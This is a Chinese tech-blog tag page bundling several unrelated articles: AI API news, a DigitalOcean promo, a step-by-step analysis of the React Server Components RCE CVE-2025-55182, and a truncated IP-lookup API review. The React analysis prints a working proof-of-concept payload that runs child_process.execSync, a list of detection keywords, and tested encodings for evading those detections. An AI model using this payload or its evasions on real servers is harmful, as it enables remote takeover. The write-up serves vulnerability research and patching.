包含关键字 typecho 的文章

OpenAI发布了Open Responses开放规范,该规范旨在实现智能体式(agentic)AI 工作流的标准化,减少 API 碎片化的问题。该规范获得了 Hugging Face、Vercel 及多家本地推理服务商支持,为智能体循环、推理可观测性,以及工具的内部与外部执行制定了统一标准,它能够让开发者避免重写集成代码,即可在专有模型与开源模型之间轻松切换。

 

规范将条目(item)、推理可观测性、工具执行模型等概念进行了正式化定义,让模型服务商可在自身基础设施内管理多步骤的智能体式工作流,即推理、工具调用、结果反思的循环过程。这一改变使得模型服务商能在自有基础设施中处理复杂的工作流,并通过单次 API 请求返回最终结果。此外,规范原生支持多模态输入、流式事件和跨服务商工具调用,大幅减少了开发者在前沿模型与开源替代模型间切换时的适配工作量。

 

该规范的核心概念包含条目、工具使用和智能体循环。条目是代表模型输入、输出、工具调用或推理状态的原子单元,常见类型有 message、function_call、reasoning 等,同时具备可扩展性,允许服务商自定义规范之外的条目类型。其中值得关注的是 reasoning 类型,它能以服务商可控的方式暴露模型的思考过程,其负载可包含原始推理内容、受保护的内容或摘要,既让开发者能清晰看到模型的推理决策过程,也让服务商可自主把控信息暴露的范围和程度。

 

Open Responses 规范通过区分内部工具和外部工具,明确了编排逻辑的归属。内部工具直接在服务商的基础设施中执行,模型可自主管理智能体循环;在该模式下,模型服务商可完成文档检索、结果汇总等任务,再通过单次 API 往返将最终结果返回给开发者。而外部工具则在开发者的应用代码中执行,此模式下模型服务商会暂停流程并发起工具调用请求,由开发者处理工具执行并将输出结果回传给模型,才能继续后续的智能体循环。

该规范已获得Hugging FaceOpenRouterVercel,以及LM StudioOllamavLLM等本地推理服务商的早期应用,实现了本地设备上标准化智能体式工作流的落地。

 

这一规范的发布引发了行业关于厂商锁定和生态成熟度的讨论。Rituraj Pramanik评价说:

在 OpenAI 的 API 基础上构建一套“开放” 标准,这一点看似有些讽刺,但它很有实用价值。行业真正的噩梦是碎片化,我们耗费了大量时间去对接各种不同的数据模式。如果这套规范能让我不用再写那些“套娃式的封装代码”,能让模型切换变得毫无门槛,那它就解决了智能体开发领域最棘手的难题。

 

另外,还有开发者将此举视为 LLM 领域生态日趋成熟的信号。AI 开发者兼教育者Sam Witteveen预测:

预计领先的开源模型实验室(如 Qwen、Kimi、DeepSeek)会训练同时兼容 Open Responses 规范和 Anthropic API 的模型。Ollama 也已宣布对 Anthropic API 的兼容性支持,这意味着,能运行高质量本地模型且可调用 Claude Code 工具的时代已不远。对于希望在专有模型和开源模型间切换、且无需重写技术架构的开发者而言,这无疑是一次重大利好。

 

目前,Open Responses 的规范文档、数据模式和合规测试工具已在项目官方网站上线,Hugging Face 也推出了演示应用,方便开发者直观体验该规范的实际应用效果。

 

原文链接:

Open Responses Specification Enables Unified Agentic LLM Workflows

2025 年,DigitalOcean 云平台上线了 Serverless Inference。DigitalOcean Serverless Inference 是一种托管式的大模型推理服务。你不需要创建 GPU 实例、不用部署模型、不用关心扩缩容,只要通过 API 调用模型,DigitalOcean 就会在后台自动完成推理资源的调度与运行。

现在,Claude Opus 4.6 已经上线 DigitalOcean Serverless Inference,提供百万级上下文与 Agentic 能力,帮助团队在统一云环境中高效构建、部署并扩展 AI 推理应用。

Claude Opus 4.6 上线 DigitalOcean:百万上下文的 Serverless 推理新选择

Claude Opus 4.6 现已通过 Serverless Inference 服务上线 DigitalOcean Gradient™ AI Platform​,让团队可以在一个专为大规模稳定推理而打造的平台上,直接使用 Anthropic 最强大的模型。

你现在就可以通过 API,或在 DigitalOcean Cloud Console 中开始使用这一新模型。

凭借高达 ​100 万 token 的超大上下文窗口​、自适应推理能力以及​先进的 Agentic 编码能力​,Claude Opus 4.6 可以帮助团队在一次推理中完成对海量数据的分析、整套代码库的重构,并生成高质量输出。同时,它也针对日常知识型工作进行了优化,包括报告、电子表格和演示文稿的生成。

Opus 4.6 能解锁什么能力

Agentic 编码与软件开发

在大型代码库中进行规划、调试和迭代;执行根因分析;处理多语言编程和网络安全相关任务。

知识型工作与研究

分析金融数据、开展研究,并在文档、表格和演示文稿中完成多步骤任务管理。

Agentic 自动化

协调多个 AI Agent 并行执行读取密集型或长时间运行的任务;对超大上下文进行总结,并基于上下文做出自适应推理决策。

信息检索与长上下文推理

在庞大的数据集中检索难以定位的细节,并对数十万 token 的内容进行推理。

办公效率提升

生成结构化报告、电子表格和演示文稿;摄取非结构化数据,并一次性输出打磨完成的高质量结果。

在 DigitalOcean 上使用 Claude Opus 4.6 有什么便捷之处?

Claude Opus 4.6 可直接运行在你现有的 DigitalOcean 环境中,与应用、数据、网络和存储并存,让推理成为你技术栈的一部分,而不是一个需要额外集成和运维的独立系统。

无需单独签署模型合同、创建厂商账号或管理多套计费体系。使用量会与其他 DigitalOcean 服务一起进行计费,计费规则简单透明、容易预估,推理服务默认托管,这意味着你无需配置或调优基础设施即可快速上手 Opus 4.6。

平台从一开始就内置了安全默认配置。Opus 4.6 在你的 DigitalOcean 项目(Project)内运行,采用安全的默认设置,随着工作负载规模扩大,可有效降低运维风险。

总之,你可以在同一个环境中,结合 App Platform(应用托管)、Kubernetes、托管数据库和存储服务,构建、部署并扩展基于 Opus 4.6 的 AI 应用。相比跨云调用第三方模型 API,这种原生集成方式组件更少,系统复杂度和运维成本也更低。

如何使用 Claude Opus 4.6?

Opus 4.6 已上线 DigitalOcean Serverless Inference,无需任何基础设施的部署或管理。只需使用你的模型访问密钥进行身份验证,即可通过下面的 curl 请求立即获得响应:

curl https://inference.do-ai.run/v1/chat/completions \
  -H "Authorization: Bearer YOUR_MODEL_ACCESS_KEY" \
  -H "Content-Type: application/json" \
  -d '{
  "model": "anthropic-claude-opus-4.6",
  "messages": [
    {
      "role": "user",
      "content": "What is the capital of France?"
    }
  ],
  "temperature": 0.7,
  "max_tokens": 1000
}'

你也可以在 DigitalOcean Model Playground 中测试这一新模型,或将它与其他现有模型进行对比。

image alt text

🚀 立即通过 DigitalOcean API 或 Cloud Console 访问 Opus 4.6。

想进一步了解 Opus 4.6 以及如何通过 DigitalOcean 使用它?欢迎访问卓普云官网博客,或联系咨询卓普云

0x01 漏洞背景

1.1 漏洞介绍

React 是由 Meta 开源、用于构建用户界面的 JavaScript 库。其 React Server Components(RSC)架构允许组件在服务端渲染并序列化输出,通过“Flight”协议以 JSON-like 流式格式发送到客户端,实现零客户端 JS 体积的交互体验。

React 某些版本被披露存在远程代码执行漏洞(CVE-2025-55182)。在该漏洞中,由于RSC 在解析客户端的相关请求时缺少安全校验,攻击者可通过构造恶意请求,从而在服务器上执行任意代码,甚至完全接管服务。目前漏洞EXP已公开,并出现大范围扫描利用。

1.2 React Server Component

React Server Components是 React 团队在 React 18 实验阶段提出、在 React 19 稳定的新特性。

简单来讲,RSC 把组件分为Server ComponentClient Component 两类,所有的传统组件都是 Client ComponentServer Component 和前者的区别在于它在服务端而非浏览器端渲染。

在服务端,Server Component 可以运行复杂逻辑,可以通过网络通信、文件操作等方式直接访问数据源,也可以重复利用重型代码,如各种重量级的包。通过这些特性,RSC 实现了更快的页面加载、更小的 JavaScript 打包大小、更好的用户体验。

1.3 Flight 协议

Flight 是 RSC 的核心通信协议,用于在服务器与客户端之间传输组件树信息与渲染指令。

工作流程

  • 服务端渲染 RSC,生成组件树的 Flight 流(含类型标记、ID、负载数据)发送给客户端;客户端接收 Flight 流后,解码并重建组件树,与本地客户端组件拼接渲染。
  • 客户端触发 Server Action 时,将调用信息编码为 Flight Reply 发送至服务端,服务端解析、执行后返回结果。


0x02 漏洞原理

概念: 服务端处理 Flight Reply 时,是通过 decodeReply / decodeReplyFromBusboy 函数把来自客户端的 Flight 流反序列化成对应的对象/函数。在这个过程中,React 对于客户端数据没有足够的检验和限制,致使漏洞存在。

利用: 伪造一个恶意 Chunk 对象,在反序列化过程中触发恶意代码。

「Chunk 对象」是 RSC 协议里最小的“数据块+状态机”单位: 每行 Flight 流对应一个带 ID 的 Chunk,内部标记 PENDING → RESOLVED → INITIALIZED;服务端边渲染边 flush,客户端收到即按 ID 解析,可独立渲染或等待依赖,实现流式、渐进、可回溯的组件输出。(来自Kimi)


0x03 POC 调试

3.1 环境准备

自定义一个简单 Server,使用底层库 busboy 处理传入数据,然后直接把 Busboy 流传入 decodeReplyFromBusboy()函数处理。

server_3.png

payload 示例:

payload_2.png

3.2 注册事件+构造初始对象

先跟进decodeReplyFromBusboy()函数。

decodeReplyFromBusboy.png

函数接收上述 busbuoyStream 和两个 undefined 值作为参数,并以此为基础通过 createResponse() 函数构建出如下response对象。

createResponse_2.png

```json 
// response
 {
   _bundlerConfig: undefined,
   _prefix: "",
   _formData: FormData { },
   _chunks: Map(0) { },
   _closed: false,
   _closedReason: null,
   _temporaryReferences: undefined,
 }

然后为 `busbuoyStream` 添加三个监听事件,这里只关注 “field” 事件即可。注册完毕之后返回一个由`getChunk()`函数构建的 `Chunk` 对象。跟进`getChunk()`函数:

![getChunk_2.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/01/attach-77b6d2165c3f5e6ec90bc98a01242032fbfdb370.png)

最终返回如下 Chunk 对象:

```json
// response
{
  _bundlerConfig: undefined,
  _prefix: "",
  _formData: FormData { },
  _chunks: Map(0) { },
  _closed: false,
  _closedReason: null,
  _temporaryReferences: undefined,
}

由于引用的特性,在该 Chunk 对象包含一个值为变量 response 的_response属性的同时,该 Chunk 对象也被放入了 response 变量的_chunks 属性中,对应的 key 是传入的固定数值 0

回到 Server,此时把请求数据推给 busboyStream,再 await 调用上述 Chunk 实例。

3.3 解析请求数据

第一次触发 “filed” 事件,上述 response 和请求数据中第一个键值对传入 resolveField()函数,跟进该函数。

decodeReplyFromBusboy_2.png
resolveField()

resolveField.png

进入函数体,

  • 先为 response 对象的_formData属性添加上述键值对作为其第1个元素。
  • 经过绝对成立的条件判断后,response 对象被重新赋值为自身的_chunks 属性(唯一元素值为上述 _chunks[0]对象的 Map实例)
  • 局部变量 prefix 被重新赋值为上述 _chunks[0] 对象,随上述请求数据中的键值对传入resolveModelChunk()函数。

resolveModelChunk()

resolveModelChunk.png

跟进resolveModelChunk()函数:经过几个条件判断语句,最终上述_chunks[0]对象 status 属性被重新赋值为" resolved_model",value 属性被赋值为请求中的 payload,reason 属性被赋值为上述 payload 对应的键名 “0”。

第1个请求数据字段对应的 Chunk 对象 _chunks[0]已经构建完成。

继续运行,“filed” 事件再次触发,上述 response 和请求数据中第2个键值对传入 resolveField()函数,继续跟进。

decodeReplyFromBusboy_3.png

还是进入 resolveField() 函数,

resolveField_2.png

与上一轮相同:

  • response 对象的 _formData 属性添加上述键值对作为其第2个元素。
  • 经过绝对成立的条件判断后,response 对象被重新赋值为自身的 _chunks 属性(唯一元素值为上述 _chunks[0] 对象的 Map实例)
  • 因为 response (_chunks)只有一个元素且键是数字 0,所以根据值为 1 的 key 变量取值返回 undefined,跳过resolveModelChunk()函数调用。

此时,实际只有一个 Chunk 对象被构建,response 对象的 _formData 属性存储了两个字段。

// _chunks[0]
{
  status: "resolved_model",
  value: "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":0,\"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('open -a Calculator');throw new Error('halt');//\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}",
  reason: 0,
  _response: {
    _bundlerConfig: undefined,
    _prefix: "",
    _formData: {
      Symbol: [
        {name: '0', value: '{"then":"$1:__proto__:then","status":"resolve…mData":{"get":"$1:constructor:constructor"}}}'},
        {name: '1', value: '"$@abc"'}]
    },
    _chunks: {0: $Chunk},
    _closed: false,
    _closedReason: null,
    _temporaryReferences: undefined,
  },
  [[Prototype]] = Promise,
}

3.4 then回调

请求中的两个字段数据解析完毕后,进入 await _chunks[0]

而如下图,Chunk 函数通过原型继承了 Promise 函数,并重写了其原型对象中的 then 方法。所以 await _chunks[0] 将触发_chunks[0].then()

Chunk_prototype.png

如上,因为 _chunks[0]的 status 属性等于“resolved_model”,所以进入 initializeModelChunk() 函数分支。

initializeModelChunk()

initializeModelChunk_2.png

声明、赋值几个变量后,_chunks[0]status 属性修改为“cyclic”,chunk.reasonchunk.value都修改为 null。而后,response、原 chunk.value进行 JSON 反序列化获得的对象 、chunk.reason的字符串值传入 reviveModel()函数。

reviveModel()_0

reviveModel_2.png

reviveModel函数中,

  • 如上所述,形参 value 是原chunk.value进行 JSON 反序列化获得的对象,所以进入第2个 if 分支
  • 因为 response._temporaryReferences 的值原本就是 undefined,所以没有传入新值
  • 因为如上所述,value 是个普通对象不是 Array,进入 else 分支
  • 遍历 value 对象的属性,检查属性是否为 value 自身属性后,给 parentObj 重新赋值为“0:then”字符串
  • value 变 parent、value[i] 变 value 后,递归调用reviveModel()函数

reviveModel()_1_1

// reviveModel(response, parentObj, parentKey, value, reference)
// 五个参数依次排开
$response
{
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: 0,
  value: "{\"then\":\"$B\"}",
  _response: {
    _prefix: "process.mainModule.require('child_process').execSync('open -a Calculator');",
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
}
"then"
"$1:__proto__:then"
"0:then"

因为 value 是字符串"$1:__proto__:then",所以直接进入parseModelString()函数,并返回其返回值。跟进该函数。

运行结果如下图,因为字符“1”没有对应的预置处理方式,经过几个 switch 分支后,value 被去除“$”前缀后一起进入getOutlinedModel()函数。

parseModelString_1_1.png

getOutlinedModel()

getOutlinedModel.png

value 传入后根据“:”分割为包含三个元素的数组 reference,reference第一个元素转为数值型赋值给局部变量 id,而后传入 getChunk()函数并把返回值重新复制给 id。

getChunk()

getChunk_3.png

getChunk()函数中,因为这次传入的 id 值为1,所以也是构造并返回了第二个 Chunk 对象(如下)。同样,这个 Chunk 对象也被放入了 response 对象的_chunks 属性中,对应的 key 值为1

// _chunks[1]
{
  status: "resolved_model",
  value: "\"$@abc\"",
  reason: 1,
  _response: {
    _bundlerConfig: undefined,
    _prefix: "",
    _formData: {
    },
    _chunks: {
    },
    _closed: false,
    _closedReason: null,
    _temporaryReferences: undefined,
  },
}

回到 getOutlinedModel(),紧接着 又进入initializeModelChunk()

getOutlinedModel_5.png

initializeModelChunk()

initializeModelChunk_3.png

同样的,_chunks[1]status 属性修改为“cyclic”,chunk.reasonchunk.value都修改为 null。而后,response、原 chunk.value进行 JSON 反序列化获得的对象(字符串"$@abc") 、chunk.reason的字符串值传入 reviveModel()函数。

因为上述 value 是个字符串,所以进入第一个分支——parseModelString()函数:

parseModelString_1_1_1.png

如上,字符串“abc”按照十六进制解析得到数字2748(没什么用,能解析成数字就可以),作为参数 id传入 getChunk 函数,获得以下 Chunk 对象:

// _chunks[2748]
{
  status: "pending",
  value: null,
  reason: null,
  _response: {
    _bundlerConfig: undefined,
    _prefix: "",
    _formData: { Symbol * 2 },
    _chunks: { Chunk * 3 },
    _closed: false,
    _closedReason: null,
    _temporaryReferences: undefined,
  },
}

回到 initializeModelChunk() ,

initializeModelChunk_4.png

_chunks[1] 的 status 属性被修改为“fulfilled”,value 属性被修改为 _chunks[2748]

回到 getOutlinedModel()

getOutlinedModel_2.png

因为 _chunks[1].status 等于 “fulfilled”,parentObject 被临时赋值为 _chunks[2748]

第一次循环,取出 reference 第2个元素'__proto__'作为 key取出 parentObject 对应属性为parentObject 重新赋值。

第二次循环,取出 reference 第2个元素'then'作为 key取出 parentObject 对应属性并为parentObject 重新赋值。

_chunks[2748] 作为 Chunk 实例,其 __proto__属性及 __proto__.then 自然是如前文所展示:Chunk.prototype

循环结束,response 与上述 then 函数作为参数传入 createModel() 函数。

createModel.png

createModel() 函数直接返回传入的 model 参数,所以 getOutlinedModel()函数最终返回 Chunk 对象自定义的 then函数,也就是递归调用的 reviveModel()_1_1 函数最终返回上述 then 函数。

reviveModel()_0

reviveModel_0.png

回到表层reviveModel()函数,parentObj 接收上述 then 函数作为新值并赋值给 value 的 then 属性。value 由请求表单中第1个参数值 JSON 反序列化得到。

继续 for 循环遍历 value 的各属性:

  • “status” 属性的值“resolved_model”是字符串,且没有以“$”开头,所以其被原封不动返回
  • “reason” 属性值为数值型 -1,直接返回
  • “value” 属性同上
  • “_response” 属性是一个非 Array 类型对象,跟进递归调用的 reviveModel() 函数

reviveModel()_1_5

reviveModel_1_5.png

与表层reviveModel相同,value 是一个 Object 对象,所以再次进入递归调用:

  • _prefix 属性:值为字符串,且没有以“$”开头,返回原值
  • _formData 属性:值为非 Array 类型的对象,再次进入 reviveModel() 函数递归调用

reviveModel()_2_2

reviveModel_2_2.png

0:_response:_formData:get 值为字符串 "$1:constructor:constructor",所以同上将会:reviveModel() => parseModelString() => getOutlinedModel(),跟进 getOutlinedModel()

getOutlinedModel()

getOutlinedModel_3.png

字符串 "$1:constructor:constructor"被分割为包含三个元素的数组,id 被赋值为数字1,进入getChunk():

getChunk_4.png

与前两次不同,这次使用传入的 id 作为 key可以取出 _chunks[1],所以_chunks[1]被直接返回。

回到 getOutlinedModel()

getOutlinedModel_4.png

因为 _chunks[1].status 已经是 “fulfilled”,所以不再进入“resolved_model”分支,直接进入“fulfilled”分支,parentObject 被赋值为_chunks[1].value, 也就是 _chunks[2748]

第一次循环,取出 reference 第2个元素'constructor'作为 key取出 _chunks[2748].constructor ,值为:[Function: Promise]

第二次循环,取出 reference 第2个元素'constructor'作为 key取出[Function: Promise].constructor ,值为:[Function: Function]

循环结束,getOutlinedModel()函数结束,递归调用的 reviveModel()_2_2 函数最终返回[Function: Function]

reviveModel()_1_5

reviveModel_1_5_2.png

回到 reviveModel()_1_50:_response:_formData:get的值被更新为[Function: Function]

回到表层reviveModel()value 元素遍历结束, value 此时值如下:

{
  then: function (resolve, reject) {
    switch (this.status) {
      case "resolved_model":
        initializeModelChunk(this);
    }
    switch (this.status) {
      case "fulfilled":
        resolve(this.value);
        break;
      case "pending":
      case "blocked":
      case "cyclic":
        resolve &&
          (null === this.value && (this.value = []),
          this.value.push(resolve));
        reject &&
          (null === this.reason && (this.reason = []),
          this.reason.push(reject));
        break;
      default:
        reject(this.reason);
    }
  },
  status: "resolved_model",
  reason: 0,
  value: "{\"then\":\"$B\"}",
  _response: {
    _prefix: "process.mainModule.require('child_process').execSync('open -a Calculator');",
    _formData: {
      get: function Function() { [native code] },
    },
  },
}

可以看到,当前 value 除了确实不是一个 Chunk 实例之外,基本跟一个 Chunk 实例没什么区别。

回到梦开始的地方:

initializeModelChunk()

initializeModelChunk_5.png

_chunks[0] 的 status 属性被修改为“fulfilled”,value 属性被修改为上述 value 值。

initializeModelChunk()函数结束,回到回调的 then() 函数:

then.png

_chunks[0].status 等于“fulfilled”,上述 valueresolve。于是进入 value.then()

3.5 value.then回调

value_then.png

进入initializeModelChunk()

initializeModelChunk_6.png

valuestatus 属性修改为“cyclic”,value.reasonvalue.value都修改为 null。而后,value._response、原 value.value进行 JSON 反序列化获得的对象 、chunk.reason的字符串值传入 reviveModel()函数。

跟前文一样,因为value.value被反序列化为以下非 Array 类型对象,所以reviveModel()函数将会递归调用,遍历该对象的每个属性。

 {  
   then: "$B"  
 }

跳过重复部分,跟进递归调用:

reviveModel_v_1.png

因为当前 value 值$B是字符串,所以进入 parseModelString()函数:

parseModelString_v.png

case "B" ,返回 response._formData.get(response._prefix + obj)。前面已知:

  • value._response._formData.get 值为 [Function: Function],是所有函数的构造函数
  • value._response._prefix 值为原始传入的恶意 payload

所以 parseModelString()函数将返回一个函数体为上述指定恶意代码的匿名函数

回到reviveMode() 函数,

reviveModel_v.png

上述对象的then 属性值从 "$B" 被替换为上述匿名函数。

回到 initializeModelChunk() 函数,

initializeModelChunk_7.png

value.status 修改为 “fulfilled”,value.value 修改为以下对象:

{
  then: function anonymous() {
    process.mainModule.require('child_process').execSync('open -a Calculator');throw new Error('halt');//NaN
  },
}

回到 value.then()

value_then_2.png

value.status 已经被修改为“fulfilled”,于是 resolve(value.value),也就是调用value.value.then(),于是上述包含恶意代码的匿名函数被执行。

VM_new.png


0x04 利用链梳理

4.1 构造假 Chunk

  1. 首先是构造 multipart/form-data 请求
  2. 构造请求数据
Content-Disposition: form-data; name="0"
// 每个请求字段都会被尝试解析成一个 Chunk
// 以下 JSON 对象属性对应 Chunk 对象的各项属性

{
    "then": "$1:__proto__:then",    // 原型链遍历,获取 Chunk.__proto__:then
    "status": "resolved_model",     // 伪造状态
    "reason": 0,
    "value": "{\"then\":\"$B\"}",   // 调用 _formData.get
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('open -a Calculator');throw new Error('halt');//", // 恶意代码
        "_formData": {
            "get": "$1:constructor:constructor" // 获取 [Function: Function];覆盖FormData.get()方法调用
        }
    }
}
Content-Disposition: form-data; name="1"
"$@abc" // case "@": Chunk 引用,获取或创建一个 Chunk 对象

4.2 原型链遍历

Chunk[0].then()
    ↓↓↓
    initializeModelChunk(Chunk[0])
        ↓↓↓
    reviveModel() // 遍历 Chunk[0].value,第一个元素是 "then": "$1:__proto__:then"
            "then": "$1:__proto__:then" =>
            ↓↓↓
            parseModelString() // 校验、解析 $B、$@ 等开头的各类字符串对象
                "$1:__proto__:then" => "1:__proto__:then" =>
                ↓↓↓
        getOutlineModel() 
                    "1:__proto__:then" => ["1", "__proto__", "then"]  // 遍历
                    "1" => getChunk() => Chunk[1] 
                    ↓↓↓
                    initializeModelChunk(Chunk[1])
            ↓↓↓
            reviveModel() // Chunk[1].value是字符串:"$@abc"
                            ↓↓↓
                            parseModelString() // 校验 $B、$@ 等开头的各类字符串对象
                "$@abc" => getChunk(..., parseInt("abc", 16)) => Chunk[2748]
            Chunk[1].value = Chunk[2748]
                    "__proto__" => Chunk[2748].__proto__
                    "then" => Chunk[2748].__proto__.then
                 Chunk[0].value.then = Chunk[2748].__proto__.then

至此,Chunk[0].value.then 的值就变为了 Chunk 函数的原型对象的 then 属性,一个 React 自定义匿名函数。

  • "$@abc" 只需要满足以 $@ 开头,后半段可以按照十六进制解析为 Int 即可
  • "$@":原始 Chunk 引用

4.3 获取构造函数

继续遍历 Chunk[0].value 剩下的元素,基本是同样的方式获取函数构造器 [Function: Function]并赋值给Chunk[0].value._response._formData.get

            "status", "reason", "value"... // 非$开头的普通字符串或 Int,直接返回
            "_response": {} => 
            ↓↓↓
            reviveModel() // 遍历 Chunk[0].value._response
                "_prefix": "eval_code"   // 非$开头的普通字符串,直接返回
            "_formData": {} =>
                    ↓↓↓
                    reviveModel() // 遍历 Chunk[0].value._response._formData
                        "get": "$1:constructor:constructor" =>
                        parseModelString()
                            ↓↓↓
                            getOutlinedModel()
                            "1:constructor:constructor" => ["1", "constructor", "constructor"] // 遍历
                            ↓↓↓
                            "1" => getChunk() => Chunk[1]
                            "constructor" => Chunk[2748].constructor
                            "constructor" => Chunk[2748].constructor.constructor
                 Chunk[0].value._response._formData.get = [Function: Function]

到此完成了假 Chunk 的伪造——Chunk[0].value

4.4 调用恶意函数

遍历完 Chunk[0].value所有元素之后, reviveModel()函数结束,回到 initializeModelChunk() 函数,Chunk[0].status 的值修改为 “fulfilled”,然后回到 Chunk[0].then()

Chunk[0].then() 执行 resolve(Chunk[0].value) ,进入 Chunk[0].value.then()

 // Chunk[0].status = "fulfilled" => resolve(Chunk[0].value) 

Chunk[0].value.then()
    ↓↓↓
    initializeModelChunk(Chunk[0].value)
        Chunk[0].value.value = "{"then": "$B"}" => {then: "$B"}
        ↓↓↓
        reviveModel(..., {then: "$B"},...)
            ↓↓↓
            reviveModel(..., "$B",...)
                ↓↓↓
                parseModelString(..., "$B",...)
                    case "$" => case "B" => 
                    return Chunk[0].value._response._formData.get(Chunk[0].value._response._prefix + parseInt("", 16)) 
            Chunk[0].value.status = "fulfilled"
            Chunk[0].value.value.then = Function{Evil_code}
            resolve(Chunk[0].value.value) => Chunk[0].value.value.then()
  • "$B" :Blob 对象引用;"$B"后的字符串内容无所谓,满足可以按照十六进制解析即可。
  • 针对真实 Chunk 来获取 formData 的操作被 "Chunk[0].value._response._formData.get" 覆盖,实际调用的是函数构造器 [Function: Function]
  • 函数构造器的参数是指定的恶意代码;真实 Chunk 的_response._prefix 值是一个空字符串 ""
  • resolve(Chunk[0].value.value) \=> Chunk[0].value.value.then()
    • *

0x05 影响范围&处置建议

5.1 影响范围

影响版本

  • React Server 19.0.0
  • React Server 19.0.1 (注:部分早期补丁未完全覆盖)
  • React Server 19.1.*
  • React Server 19.2.0

其他受影响组件/应用:

  • Next.js v15.0.0 - v15.0.4
  • Next.js v15.1.0 - v15.1.8
  • Next.js v15.2.x - v15.5.6
  • Next.js v16.0.0 - v16.0.6
  • Next.js v14.3.0-canary.77 及以上 Canary 版本
  • Dify、NextChat 等通用产品

5.2 处置建议:

官方已发布安全补丁,请及时更新至最新版本:

  • React: 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

下载地址:

https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

❗️可通过以下命令或查看 package.json 文件自查当前版本:

npm list react-server-dom-webpack react-server-dom-turbopack react-server-dom-parcel


0x06 检测与绕过

6.1 可检测特征

对象属性/固定特征:

  • POST 请求方法
  • "then","status","reason","_response","_prefix","_formData"
  • __proto__:then,constructor:constructor
  • $B,$@

常用恶意payload特征:

  • process.mainModule.require
  • child_process
  • execSync / exec / spawn / spawnSync / execFileSync
  • fs.readFileSync / fs.writeFileSync
  • vm.runInThisContext / vm.runInNewContext

6.2 攻击结果检测

由于最后执行代码是通过链式调用 thenable 对象的 then 方法,当前对象返回的 status 由攻击者控制,整体响应由实际的应用环境封装控制,所以:

  • 如果有回显,可以校验响应内容来判断常规命令执行的结果
  • 攻击成功不一定返回 positive 响应;negative 响应不一定表示攻击失败
  • 没有响应(阻塞)不一定表示攻击失败

6.3 payload 绕过

✅ Unicode 编码

如:child_process = > \u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073

在构造假 Chunk 的 JSON 数据部分,不区分键名/键值,所有字符串都可以进行 Unicode 编码,不影响解析。

不过不支持 Java 中常见的如 \uuu0063 等变种。

✅ 十六进制编码

如:child_process => \x63hild_process

可行,但仅限在 _response._prefix 的恶意代码的语句参数部分,语句本身不行;固定的 JSON 键值对内容不行。

✅ String.fromCharCode()

如:'child_process' => 'child_' + String.fromCharCode(112,114,111,99,101,115,115)

可行,但仅限在 _response._prefix 的恶意代码的语句参数部分,语句本身不行;固定的 JSON 键值对内容不行。

可知,以下变种也可:

'child_process' => 'child_' + String.fromCharCode(0o160, 0o162, 0o157, 0o143, 0o145, 0o163, 0o163)

'child_process' => 'child_' + String.fromCharCode(0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73)

'child_process' => 'child_' + String.fromCharCode(0b1110000, 0b1110010, 0b1101111, 0b1100011, 0b1100101, 0b1110011, 0b1110011)

'child_process' => 'child_' + String.fromCharCode(112, 114, 0o157, 0O143, 0x65, 0x73, 0b1110011)

String.fromCharCode(112, 114, ...)  => const abc = String.fromCharCode; abc(112, 114, ...)

✅ 字符集

请求数据由 busboy 进行处理,busboy 支持提取不同的字符集进行对应解码,譬如utf16le

Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then"...constructor"}}}

↓↓↓

Content-Disposition: form-data; name="0"
Content-Type: text/plane;charset=utf16le

{.".t.h.e.n.".:.".$.1.:._._.p.r.o.t.o._._.:.t.h.e.n."....c.o.n.s.t.r.u.c.t.o.r.".}.}.}.

// . => \x00

❌ URL 编码

对 payload 进行 URL 编码,如:

child_process => child%5Fprocess

constructor:constructor => %63%6f%6e%73%74%72%75%63%74%6f%72%3a%63%6f%6e%73%74%72%75%63%74%6f%72

实测不论是 JSON 键值对内容,还是 _response._prefix 的恶意代码部分,URL 编码后解析都会报错。

❌ 大小写

child_process => Child_Process

constructor:constructor => Constructor:conStructor

实测不行,JS 大小写敏感。

❌ 插入特殊字符

在 payload 中插入\t\n等空白字符或不可见字符,如:

constructor:constructor => constructor : constructor
constructor:constructor => constructor\t:\tconstructor
constructor:constructor => constructor\n:\nconstructor

实测不行。


0x07 参考链接

年底做系统盘点的时候,我把这一年实际接入、用过的 IP 查询 API做了一次整理,这篇主要记录三个我用过、并且长期跑过生产环境的IP查询API:

  • IP 数据云
  • DB-IP
  • IPnews

如果你也在做风控、日志分析、访问来源统计、跨境合规判断,这些场景基本都会遇到。从运维视角看访问日志要做地域分析,安全侧要识别异常来源,业务侧要做地区限制/合规判断,监控里偶尔要快速定位异常流量来源这类接口有几个我们特别在意的点调用稳定性(别半夜500);接口简单程度(curl能不能直接测); 更新频率(IP变了,结果却一直没变是最坑的;出问题好不好兜底(本地缓存/离线库)

IP数据云

API接入感受

第一次用IP数据云,是为了做访问日志的地域统计,接入过程非常“运维友好”:

  • HTTP API,参数少
  • IPv4/IPv6 一次搞定
  • 返回结构清晰,不需要二次解析

基本流程就是:

curl "https://api.ipdatacloud.com/v2/query?ip=8.8.8.8&key=YOUR_KEY"

返回结果里:国家/省/市,运营商,ASN,是否代理(看套餐)对日志分析和风控来说足够,如果因为业务原因可以联系客服加入其他的数据

运维视角的优点

  • 国内访问延迟低
  • 很适合放在日志流水线、ELK、ClickHouse 前处理
  • 支持离线库,API 出问题还能兜底

我个人比较喜欢的一点是接口设计很nice!操作丝滑。

适合谁用?

  • 国内业务为主
  • 需要 API+离线库双方案
  • 运维/后端自己维护系统
    年关总结.png

    DB-IP

为什么会用到DB-IP?

如果你的业务在海外,或者服务器本身在国外,DB-IP 基本绕不开,们的 API 特点很明显:

  • 标准 REST 接口
  • 国家 / 地区维度比较稳定
  • 更新频率可选(免费版 vs 商业版差别很大)

简单示例:

curl "https://api.db-ip.com/v2/free/8.8.8.8"

运维踩过的坑

